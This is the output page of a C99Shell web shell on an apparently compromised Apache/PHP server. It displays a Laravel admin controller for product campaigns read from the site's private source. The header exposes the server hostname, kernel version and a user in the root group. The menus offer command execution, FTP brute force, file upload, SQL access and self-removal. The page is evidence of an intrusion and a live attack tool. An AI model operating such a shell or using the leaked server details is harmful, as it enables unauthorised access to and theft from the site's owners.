!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/game.picotech.app/public_html/core/app/Http/Controllers/Back/   drwxr-xr-x
Free 29.22 GB of 117.98 GB (24.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CampaignController.php (2.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Back;

use 
App\Http\Controllers\Controller;
use 
App\Models\CampaignItem;
use 
App\Models\Item;
use 
Illuminate\Http\Request;

class 
CampaignController extends Controller
{

    public function 
__construct()
    {
        
$this->middleware('auth:admin');
        
$this->middleware('adminlocalize');
    }


    public function 
index()
    {
        
$datas Item::whereStatus(1)->select('name','id')->orderBy('id','desc')->get();
        return 
view('back.item.campaign',[
            
'datas' => $datas,
            
'items' => CampaignItem::orderby('id','desc')->get()
        ]);
    }


    public function 
store(Request $request)
    {
        
$request->validate([
            
'item_id' => 'required'
        
]);
        if(
CampaignItem::whereItemId($request->item_id)->exists()){
            return 
redirect()->route('back.campaign.index')->withError(__('Allready Added This Product.'));

        }
        
$data = new CampaignItem();
        
$data->create($request->all());
        return 
redirect()->route('back.campaign.index')->withSuccess(__('New Product Added Successfully.'));

    }


    public function 
destroy($id)
    {
        
$data CampaignItem::findOrFail($id);
        
$data->delete();
        return 
redirect()->route('back.campaign.index')->withSuccess(__('Product Delete Successfully Successfully.'));
    }



    
/**
     * Change the status for editing the specified resource.
     *
     * @param  int  $id
     * @param  int  $status
     * @return \Illuminate\Http\Response
     */
    
public function status($id,$status,$type)
    {

        if(
$type == 'is_feature' && $status == 1){

            if(
CampaignItem::whereIsFeature(1)->count() == 10){
                return 
redirect()->route('back.campaign.index')->withError(__('10 products are allready added to feature'));
            }
        }
        
$item CampaignItem::findOrFail($id);
        
$item->update([$type => $status]);
        return 
redirect()->route('back.campaign.index')->withSuccess(__('Status Updated Successfully.'));
    }


}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--